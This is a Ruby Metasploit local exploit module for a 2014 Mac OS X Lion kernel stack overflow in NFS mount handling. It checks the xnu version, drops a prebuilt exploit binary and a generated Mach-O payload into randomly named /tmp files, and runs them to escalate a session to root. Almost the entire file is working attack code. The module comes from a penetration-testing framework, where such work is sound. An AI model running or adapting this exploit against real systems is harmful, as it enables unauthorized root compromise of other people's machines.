##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X NFS Mount Privilege Escalation Exploit',
      'Description'   => %q{
        This exploit leverages a stack buffer overflow vulnerability to escalate privileges.
        The vulnerable function nfs_convert_old_nfs_args does not verify the size
        of a user-provided argument before copying it to the stack. As a result, by
        passing a large size as an argument, a local user can overwrite the stack with arbitrary
        content.

        Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Kenzley Alphonse', # discovery and a very well-written exploit
          'joev' # msf module
        ],
      'References'    =>
        [
          [ 'EDB', '32813' ]
        ],
      'Platform'      => 'osx',
      'Arch'          => [ ARCH_X64 ],
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X 10.7 Lion x64 (Native Payload)',
          {
            'Platform' => 'osx',
            'Arch' => ARCH_X64
          }
        ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2014-04-11'
    ))
  end

  def check
    if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
    file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
    exploit = File.read(file)
    pload   = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"

    print_status "Writing temp file as '#{tmpfile}'"
    write_file(tmpfile, exploit)
    register_file_for_cleanup(tmpfile)

    print_status "Writing payload file as '#{payloadfile}'"
    write_file(payloadfile, pload)
    register_file_for_cleanup(payloadfile)

    print_status "Executing payload..."
    cmd_exec("chmod +x #{tmpfile}")
    cmd_exec("chmod +x #{payloadfile}")
    cmd_exec("#{tmpfile} #{payloadfile}")
  end

  def xnu_ver
    m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
    m && m[1]
  end

  def ver_lt(a, b)
    Rex::Version.new(a.gsub(/~.*?$/,'')) < Rex::Version.new(b.gsub(/~.*?$/,''))
  end
end
